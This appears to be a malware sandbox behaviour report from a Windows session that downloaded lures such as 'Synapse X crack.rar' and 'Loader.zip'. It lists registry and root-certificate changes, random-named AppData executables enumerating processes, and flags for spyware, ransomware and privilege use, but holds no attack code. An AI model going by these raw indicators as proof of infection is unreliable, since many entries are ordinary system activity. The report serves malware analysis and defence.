Set value (int) \REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\16\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Mode = "4" C:\Program Files\Mozilla Firefox\firefox.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\13\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\FFlags = "1" C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\16\Shell C:\Program Files\Mozilla Firefox\firefox.exe N/A
Set value (data) \REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\1\0 = 8c00310000000000b55813a5110050524f4752417e310000740009000400efbec5525961b55813a52e0000003f0000000000010000000000000000004a000000000082018f00500072006f006700720061006d002000460069006c0065007300000040007300680065006c006c00330032002e0064006c006c002c002d0032003100370038003100000018000000 N/A N/A
Key created \REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\14 N/A N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{23170F69-40C1-278A-1000-000100020000} N/A N/A
Set value (data) \REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\1 = 19002f433a5c000000000000000000000000000000000000000000 N/A N/A
Key created \REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\15\ComDlg N/A N/A
Key created \REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000_Classes\Applications\7z.exe\shell\open\command N/A N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32 N/A N/A
Set value (int) \REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\14\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1092616257" N/A N/A
Key created \REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\1\0\0 N/A N/A
Key created \REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000_Classes\Applications\7z.exe\shell N/A N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Folder\ShellEx\ContextMenuHandlers\7-Zip\ = "{23170F69-40C1-278A-1000-000100020000}" N/A N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32\ThreadingModel = "Apartment" N/A N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32 N/A N/A
Set value (int) \REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\1\0\NodeSlot = "14" N/A N/A
Set value (data) \REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\1\0\MRUListEx = ffffffff N/A N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000_Classes\Applications\7z.exe\shell\open\command\ = "\"C:\\Program Files\\7-Zip\\7z.exe\" \"%1\"" N/A N/A
Key created \REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU C:\Program Files\Mozilla Firefox\firefox.exe N/A
Set value (data) \REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\13\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0e000000ffffffff C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000_Classes\Local Settings N/A N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\*\shellex\ContextMenuHandlers\7-Zip N/A N/A
Key created \REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\1 N/A N/A
Set value (data) \REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 0100000000000000ffffffff N/A N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\16\Shell\SniffedFolderType = "Generic" C:\Program Files\Mozilla Firefox\firefox.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\16\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\IconSize = "16" C:\Program Files\Mozilla Firefox\firefox.exe N/A
Set value (data) \REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\16\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000 C:\Program Files\Mozilla Firefox\firefox.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\16\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:PID = "0" C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000_Classes\Local Settings C:\Windows\system32\OpenWith.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\13\Shell\SniffedFolderType = "Downloads" C:\Program Files\Mozilla Firefox\firefox.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\16\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByDirection = "1" C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shellex\ContextMenuHandlers\7-Zip N/A N/A
Key created \REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0 N/A N/A
Set value (data) \REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 0000000001000000ffffffff N/A N/A
Set value (data) \REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\1\0\0 = 5000310000000000b55837a91000372d5a6970003c0009000400efbe9a58cb79b55837a92e000000289f020000001c0000000000000000000000000000000390500037002d005a0069007000000014000000 N/A N/A
Set value (int) \REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\16\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1" C:\Program Files\Mozilla Firefox\firefox.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32\ = "C:\\Program Files\\7-Zip\\7-zip.dll" N/A N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}\ = "7-Zip Shell Extension" N/A N/A
Key created \REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000_Classes\Applications N/A N/A
Key created \REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\16 C:\Program Files\Mozilla Firefox\firefox.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\16\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\LogicalViewMode = "1" C:\Program Files\Mozilla Firefox\firefox.exe N/A
Set value (data) \REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\13\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000 C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000} N/A N/A
Set value (int) \REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\1\0\0\NodeSlot = "15" N/A N/A
Set value (data) \REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\16\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000 C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000_Classes\Local Settings C:\Windows\system32\OpenWith.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Directory\shellex\ContextMenuHandlers\7-Zip\ = "{23170F69-40C1-278A-1000-000100020000}" N/A N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Directory\shellex\DragDropHandlers\7-Zip N/A N/A
Key created \REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\14\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7} N/A N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\14\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}" N/A N/A
Set value (data) \REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\1\0\0\MRUListEx = ffffffff N/A N/A
Key created \REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000_Classes\Local Settings C:\Windows\system32\OpenWith.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\13\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259} C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000_Classes\Local Settings C:\Windows\system32\OpenWith.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\14\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\LogicalViewMode = "1" N/A N/A
Set value (int) \REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\14\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByDirection = "1" N/A N/A
Set value (int) \REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\15\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\IconSize = "16" N/A N/A

Modifies system certificate store

evasion spyware trojan
Description Indicator Process Target
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DDFB16CD4931C973A2037D3FC83A4D7D775D05E4\Blob = 04000000010000001000000078f2fcaa601f2fb4ebc937ba532e75490f00000001000000300000004ea1b34b10b982a96a38915843507820ad632c6aad8343e337b34d660cd8366fa154544ae80668ae1fdf3931d57e1996530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703080b00000001000000320000004400690067006900430065007200740020005400720075007300740065006400200052006f006f0074002000470034000000620000000100000020000000552f7bdcf1a7af9e6ce672017f4f12abf77240c78e761ac203d1d9d20ac89988140000000100000014000000ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f1d0000000100000010000000a86dc6a233eb339610f3ed414927c559030000000100000014000000ddfb16cd4931c973a2037d3fc83a4d7d775d05e4190000000100000010000000ffac207997bb2cfe865570179ee037b92000000001000000940500003082059030820378a0030201020210059b1b579e8e2132e23907bda777755c300d06092a864886f70d01010c05003062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f74204734301e170d3133303830313132303030305a170d3338303131353132303030305a3062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f7420473430820222300d06092a864886f70d01010105000382020f003082020a0282020100bfe6907368debbe45d4a3c3022306933ecc2a7252ec9213df28ad859c2e129a73d58ab769acdae7b1b840dc4301ff31ba43816eb56c6976d1dabb279f2ca11d2e45fd6053c520f521fc69e15a57ebe9fa95716595572af689370c2b2ba75996a733294d11044102edf82f30784e6743b6d71e22d0c1bee20d5c9201d63292dceec5e4ec893f821619b34eb05c65eec5b1abcebc9cfcdac34405fb17a66ee77c848a86657579f54588e0c2bb74fa730d956eeca7b5de3adc94f5ee535e731cbda935edc8e8f80dab69198409079c378c7b6b1c4b56a183803108dd8d437a42e057d88f5823e109170ab55824132d7db04732a6e91017c214cd4bcae1b03755d7866d93a31449a3340bf08d75a49a4c2e6a9a067dda427bca14f39b5115817f7245c468f64f7c169887698763d595d4276878997697a48f0e0a2121b669a74cade4b1ee70e63aee6d4ef92923a9e3ddc00e4452589b69a44192b7ec094b4d2616deb33d9c5df4b0400cc7d1c95c38ff721b2b211b7bb7ff2d58c702c4160aab1631844951a76627ef680b0fbe864a633d18907e1bdb7e643a418b8a67701e10f940c211db2542925896ce50e52514774be26acb64175de7aac5f8d3fc9bcd34111125be51050eb31c5ca72162209df7c4c753f63ec215fc420516b6fb1ab868b4fc2d6455f9d20fca11ec5c08fa2b17e0a2699f5e4692f981d2df5d9a9b21de51b0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e04160414ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f300d06092a864886f70d01010c05000382020100bb61d97da96cbe17c4911bc3a1a2008de364680f56cf77ae70f9fd9a4a99b9c9785c0c0c5fe4e61429560b36495d4463e0ad9c9618661b230d3d79e96d6bd654f8d23cc14340ae1d50f552fc903bbb9899696bc7c1a7a868a427dc9df927ae3085b9f6674d3a3e8f5939225344ebc85d03caed507a7d62210a80c87366d1a005605fe8a5b4a7afa8f76d359c7c5a8ad6a23899f3788bf44dd2200bde04ee8c9b4781720dc01432ef30592eaee071f256e46a976f92506d968d687a9ab236147a06f224b9091150d708b1b8897a8423614229e5a3cda22041d7d19c64d9ea26a18b14d74c19b25041713d3f4d7023860c4adc81d2cc3294840d0809971c4fc0ee6b207430d2e03934108521150108e85532de7149d92817504de6be4dd175acd0cafb41b843a5aad3c305444f2c369be2fae245b823536c066f67557f46b54c3f6e285a7926d2a4a86297d21ee2ed4a8bbc1bfd474a0ddf67667eb25b41d03be4f43bf40463e9efc2540051a08a2ac9ce78ccd5ea870418b3ceaf4988aff39299b6b3e6610fd28500e7501ae41b959d19a1b99cb19bb1001eefd00f4f426cc90abcee43fa3a71a5c84d26a535fd895dbc85621d32d2a02b54ed9a57c1dbfa10cf19b78b4a1b8f01b6279553e8b6896d5bbc68d423e88b51a256f9f0a680a0d61eb3bc0f0f537529aaea1377e4de8c8121ad07104711ad873d07d175bccff3667e N/A N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DDFB16CD4931C973A2037D3FC83A4D7D775D05E4\Blob = 5c000000010000000400000000100000190000000100000010000000ffac207997bb2cfe865570179ee037b9030000000100000014000000ddfb16cd4931c973a2037d3fc83a4d7d775d05e41d0000000100000010000000a86dc6a233eb339610f3ed414927c559140000000100000014000000ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f620000000100000020000000552f7bdcf1a7af9e6ce672017f4f12abf77240c78e761ac203d1d9d20ac899880b00000001000000320000004400690067006900430065007200740020005400720075007300740065006400200052006f006f0074002000470034000000090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b06010505070308530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f00000001000000300000004ea1b34b10b982a96a38915843507820ad632c6aad8343e337b34d660cd8366fa154544ae80668ae1fdf3931d57e199604000000010000001000000078f2fcaa601f2fb4ebc937ba532e75492000000001000000940500003082059030820378a0030201020210059b1b579e8e2132e23907bda777755c300d06092a864886f70d01010c05003062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f74204734301e170d3133303830313132303030305a170d3338303131353132303030305a3062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f7420473430820222300d06092a864886f70d01010105000382020f003082020a0282020100bfe6907368debbe45d4a3c3022306933ecc2a7252ec9213df28ad859c2e129a73d58ab769acdae7b1b840dc4301ff31ba43816eb56c6976d1dabb279f2ca11d2e45fd6053c520f521fc69e15a57ebe9fa95716595572af689370c2b2ba75996a733294d11044102edf82f30784e6743b6d71e22d0c1bee20d5c9201d63292dceec5e4ec893f821619b34eb05c65eec5b1abcebc9cfcdac34405fb17a66ee77c848a86657579f54588e0c2bb74fa730d956eeca7b5de3adc94f5ee535e731cbda935edc8e8f80dab69198409079c378c7b6b1c4b56a183803108dd8d437a42e057d88f5823e109170ab55824132d7db04732a6e91017c214cd4bcae1b03755d7866d93a31449a3340bf08d75a49a4c2e6a9a067dda427bca14f39b5115817f7245c468f64f7c169887698763d595d4276878997697a48f0e0a2121b669a74cade4b1ee70e63aee6d4ef92923a9e3ddc00e4452589b69a44192b7ec094b4d2616deb33d9c5df4b0400cc7d1c95c38ff721b2b211b7bb7ff2d58c702c4160aab1631844951a76627ef680b0fbe864a633d18907e1bdb7e643a418b8a67701e10f940c211db2542925896ce50e52514774be26acb64175de7aac5f8d3fc9bcd34111125be51050eb31c5ca72162209df7c4c753f63ec215fc420516b6fb1ab868b4fc2d6455f9d20fca11ec5c08fa2b17e0a2699f5e4692f981d2df5d9a9b21de51b0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e04160414ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f300d06092a864886f70d01010c05000382020100bb61d97da96cbe17c4911bc3a1a2008de364680f56cf77ae70f9fd9a4a99b9c9785c0c0c5fe4e61429560b36495d4463e0ad9c9618661b230d3d79e96d6bd654f8d23cc14340ae1d50f552fc903bbb9899696bc7c1a7a868a427dc9df927ae3085b9f6674d3a3e8f5939225344ebc85d03caed507a7d62210a80c87366d1a005605fe8a5b4a7afa8f76d359c7c5a8ad6a23899f3788bf44dd2200bde04ee8c9b4781720dc01432ef30592eaee071f256e46a976f92506d968d687a9ab236147a06f224b9091150d708b1b8897a8423614229e5a3cda22041d7d19c64d9ea26a18b14d74c19b25041713d3f4d7023860c4adc81d2cc3294840d0809971c4fc0ee6b207430d2e03934108521150108e85532de7149d92817504de6be4dd175acd0cafb41b843a5aad3c305444f2c369be2fae245b823536c066f67557f46b54c3f6e285a7926d2a4a86297d21ee2ed4a8bbc1bfd474a0ddf67667eb25b41d03be4f43bf40463e9efc2540051a08a2ac9ce78ccd5ea870418b3ceaf4988aff39299b6b3e6610fd28500e7501ae41b959d19a1b99cb19bb1001eefd00f4f426cc90abcee43fa3a71a5c84d26a535fd895dbc85621d32d2a02b54ed9a57c1dbfa10cf19b78b4a1b8f01b6279553e8b6896d5bbc68d423e88b51a256f9f0a680a0d61eb3bc0f0f537529aaea1377e4de8c8121ad07104711ad873d07d175bccff3667e N/A N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DDFB16CD4931C973A2037D3FC83A4D7D775D05E4 N/A N/A

NTFS ADS

Description Indicator Process Target
File created C:\Users\Admin\Downloads\Loader(1).zip:Zone.Identifier C:\Program Files\Mozilla Firefox\firefox.exe N/A
File created C:\Users\Admin\Downloads\MentalMentor.exe:Zone.Identifier C:\Program Files\Mozilla Firefox\firefox.exe N/A
File opened for modification C:\ProgramData\BrightData\d1bab175a2a8d47f9b561f4c58dc046b93194db0\lum_sdk_session_id:LUM:$DATA N/A N/A
File created C:\Users\Admin\Downloads\7z2405-x64.exe:Zone.Identifier C:\Program Files\Mozilla Firefox\firefox.exe N/A
File created C:\Users\Admin\Downloads\winrar-x64-701.exe:Zone.Identifier C:\Program Files\Mozilla Firefox\firefox.exe N/A
File opened for modification C:\Users\Admin\Downloads\NEW-UPDATED-SYNAPSE-_T7R5SrJ04I.zip:Zone.Identifier N/A N/A
File created C:\Users\Admin\Downloads\Loader.zip:Zone.Identifier C:\Program Files\Mozilla Firefox\firefox.exe N/A
File created C:\Users\Admin\Downloads\SynapseX-main.zip:Zone.Identifier C:\Program Files\Mozilla Firefox\firefox.exe N/A
File created C:\Users\Admin\Downloads\PixelSee_id583769id.exe:Zone.Identifier C:\Program Files\Mozilla Firefox\firefox.exe N/A
File created C:\Users\Admin\Downloads\SynapseX.zip:Zone.Identifier C:\Program Files\Mozilla Firefox\firefox.exe N/A
File created C:\Users\Admin\Downloads\Synapse X crack.rar:Zone.Identifier C:\Program Files\Mozilla Firefox\firefox.exe N/A

Opens file in notepad (likely ransom note)

ransomware
Description Indicator Process Target
N/A N/A N/A N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\root\Office16\Winword.exe N/A
N/A N/A C:\Program Files\Microsoft Office\root\Office16\Winword.exe N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\bocj4ndh.cqk0.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\bocj4ndh.cqk0.exe N/A
N/A N/A C:\Windows\SysWOW64\dialer.exe N/A
N/A N/A C:\Windows\SysWOW64\dialer.exe N/A
N/A N/A C:\Windows\SysWOW64\dialer.exe N/A
N/A N/A C:\Windows\SysWOW64\dialer.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\ywf23syg.cmz0.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\ywf23syg.cmz0.exe N/A
N/A N/A C:\Windows\SysWOW64\dialer.exe N/A
N/A N/A C:\Windows\SysWOW64\dialer.exe N/A
N/A N/A C:\Windows\SysWOW64\dialer.exe N/A
N/A N/A C:\Windows\SysWOW64\dialer.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\ywf23syg.cmz0.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\ywf23syg.cmz0.exe N/A
N/A N/A C:\Windows\SysWOW64\dialer.exe N/A
N/A N/A C:\Windows\SysWOW64\dialer.exe N/A
N/A N/A C:\Windows\SysWOW64\dialer.exe N/A
N/A N/A C:\Windows\SysWOW64\dialer.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A

Suspicious behavior: GetForegroundWindowSpam

Description Indicator Process Target
N/A N/A C:\Windows\system32\OpenWith.exe N/A
N/A N/A C:\Windows\system32\OpenWith.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\OpenWith.exe N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A

Suspicious behavior: LoadsDriver

Description Indicator Process Target
N/A N/A N/A N/A

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
Token: 33 N/A C:\Windows\system32\AUDIODG.EXE N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\system32\AUDIODG.EXE N/A
Token: SeDebugPrivilege N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
Token: 33 N/A C:\Windows\system32\AUDIODG.EXE N/A
